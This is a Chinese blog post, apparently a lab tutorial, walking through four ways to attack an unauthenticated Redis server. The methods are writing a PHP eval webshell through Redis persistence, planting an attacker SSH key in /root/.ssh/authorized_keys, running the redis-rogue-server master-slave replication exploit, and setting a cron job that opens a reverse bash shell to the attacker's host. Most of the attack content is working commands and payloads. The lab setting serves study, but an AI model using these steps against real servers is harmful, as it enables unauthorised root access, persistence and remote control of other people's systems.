Redis未授权访问漏洞利用姿势的五种基础姿势

该环境基于上一篇关于redis未授权漏洞访问所进行的衍生,上一篇所讲述的就是五种姿势中的一种,无口令远程登录靶机,此处接着演示剩下四种漏洞姿势利用。

redies 4.x/5.x未授权漏洞访问(实际情况6.x可能也有)(centos,kali)-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_74182283/article/details/137070915?spm=1001.2014.3001.5501

1.利用持久化写入一句话木马

如果需要写入一句话木马,需要靶机内含有相关的web环境,这里在原基础上搭建了apache进行实验。

通过 yum install php php-mysql -y 安装php5   安装后可用php -v检查 (ps:记得关防火墙)

(ps:如果环境内以及安装过jdk,建议是重新换台虚拟机,不然这php下不了,要整很麻烦)

通过  yum -y install httpd* 命令安装apache相关的环境,通过 vim /etc/httpd/conf/httpd.conf对其中的配置文件进行修改,添加上

1AddType application/x-httpd-php-source .phps

2AddType application/x-httpd-php .php

将其添加到该模块下,保存退出,随后 cd /var/www/html 下,该文件是apache的登录页面文件,可用写入一些相关的数据使其在url上显示出来,这里可以写入一个info.php测试服务是否正常。

编写后,重启httpd服务(systemctl restart httpd)然后使用攻击机进行测试,发现连接成功,靶机配置完成。

使用持久化攻击编写一句话木马  完成持久化攻击需要有两个配置,1.需要配置一个攻击路径2.持久化攻击文件的文件名。正常环境下,得到一个redis的访问权限并不足以我们使用,只能对redis中的一些数据库进行破坏,但无法得到更高的权限。该木马就是为了提权,可以得到更深层次的权限,得到webshell。

下面是kali攻击机对其攻击的手段(哎呀虚拟机暴露了 一台破虚拟机而已,佬别打)

set webshell "\r\n\r\n<?php @eval($_POST['xx']);?>\r\n\r\n"   一句话木马
\r\n为区分一句话木马,将他隔开,相当于一行的空字符串,将他隔开来,把木马塞进去。(有问题速和我说,马上改)/r/n下面这图也可以看出来,可以理解为空格回车 将木马与其他文件隔开来,方面更好的读取。

保存后靶机上也可以看到相关的shell文件

启动蚁剑 对其进行连接(菜刀也行,别的一些连接工具应该也行)(ps:网上很多,随便下个)

发现连接成功,木马产生作用,得到靶机的websehll权限。实验结束

2持久化,利用公钥私钥得到权限

攻击机给自己生成一对公私钥文件,利用redis持久化的方式(这里可能需要去学一下redis才知道是啥,简单来说就是存储数据的方式(建议自学))攻击机利用redis持久化的方式,把攻击机的公钥保存到靶机的公钥下面,就可以利用攻击机的私钥直接登录redis服务器,得到shell(ps:涉及到公钥私钥的使用方式)

(ps: 默认点击回车)kali同上

通过(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt 该命令对公钥进行重定向,方便其写入到靶机内

cat 1.txt |/路径/redis-cli -h 192.168.137.11 -x set crack 通过该命令将公钥存到靶机中 (前面那个是cat xx 指定文件 后面那个 -x表示要执行一个命令 这里就是执行了set 写入命令,cat1.txt的内容写入到crack的键中 )(ps:键是redis里的语法 相当于python的键值对中的键)

保存成功

使用kali攻击机,把保存路径设置到靶机的公私钥文件中

config set dir /root/.ssh

config set dbfilename authorized_keys

save

通过ssh 对其进行连接,使用kali的私钥来直接连接靶机,成功得到root权限 

3.利用主从复制,得到shell

redis主从复制,是指redis主机称为master,redis从机称为slave,主机master可读可写,从机只 能读,主机更新数据,从机会从主机获取更新的数据。 原理:主机一旦更新数据 rdb文件-----》从机 得到rdb文件 load内存 和主机内容保持一致

条件:能够互相访问远程redis端口,能够设置主从模式,端口都开放 具体设置 - bind 0.0.0.0 - 后台运行 - 保护模式关闭 - 关闭防火墙

在攻击机kali下打开redis服务 &为后台启动(比之前那串长的简单点) 随后进入redis-cli 其自带的redis终端下

通过info replication 发现两台机子都为master状态,接下来要将攻击机kali设为master(主机),靶机设为从机进行攻击

远程连接redis,通过slaveof(slaveof xxx.xxx.xxx.xxx(攻击机(kali)的地址) 6379)进行设置(100.136是我的kali ip地址 后边那是端口)将攻击机设为主机,靶机为从机(左边那个是连接着靶机,右边那个是攻击机kali)(ps:成功后图中的master_link为up,但是在下第一次做的时候这玩意是down 后面我更改了kali的配置(和靶机一样(再第一篇)),改完重连后才为up 需要注意下)

而后,需要通过主从复制工具 下面这个:

下载攻击工具脚本地址:https://github.com/n0b0dyCN/redis-rogue-server 放入到kali中,解压缩 后生成一个文件夹 unzip redis-rogue-server-master.zip

再目录下 cd RedisModulesSDK/exp/ Make 生成exp.so 把exp.so

挪到redis下

对其进行攻击:python3 redis-rogue-server.py --rhost 靶机地址 --lhost 攻击机地址 --exp exp.so

通过该工具,成功攻击,得到权限(执行时会有个提示,是选择正向shell还是反向shell 我这直接选择了正向shell(输入i))

4反弹shell

靶机设置前提条件

1 bind 0.0.0.0

2 Protect mode no

3 防火墙关闭

通过漏洞将得到的权限反弹到kali攻击机上,更方便对其进行操作

开右边启监听  左边flushall是为了清空一下前面的操作,以免造成影响

进行一个定时任务的配置指定路径与文件名,set 一个键名叫x 后面那一堆都是他的值 \n是为了隔开其他的信息(同第一段那个意思)其中的*表示时间(分钟小时日期月份星期几【左到右】) 这里为/1***表示每分钟都在执行这个任务(将数据一直反弹)(/1这个字段表示每分钟,可以不写) 后面的/bin/bashxx就是一个反弹shell的正常写法,确认反弹到的主机(将靶机的信息反弹到攻击机kali上,ip就写kali的 8888为开启监听的端口)0>& 这玩意就是将标准输入重定向到标准输出,确保都能被执行到 确保交互性,反弹shell不会轻易断开。保存后,就可以发现右边的监听器得到了相关的root权限。(ps:这里反弹的shell中,有一些命令可能因为shell的原因无法执行)

至此 四个小实验结束(第一次写着个 骂轻点) (˚ ˃̣̣̥᷄⌓˂̣̣̥᷅ )

  • 28
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值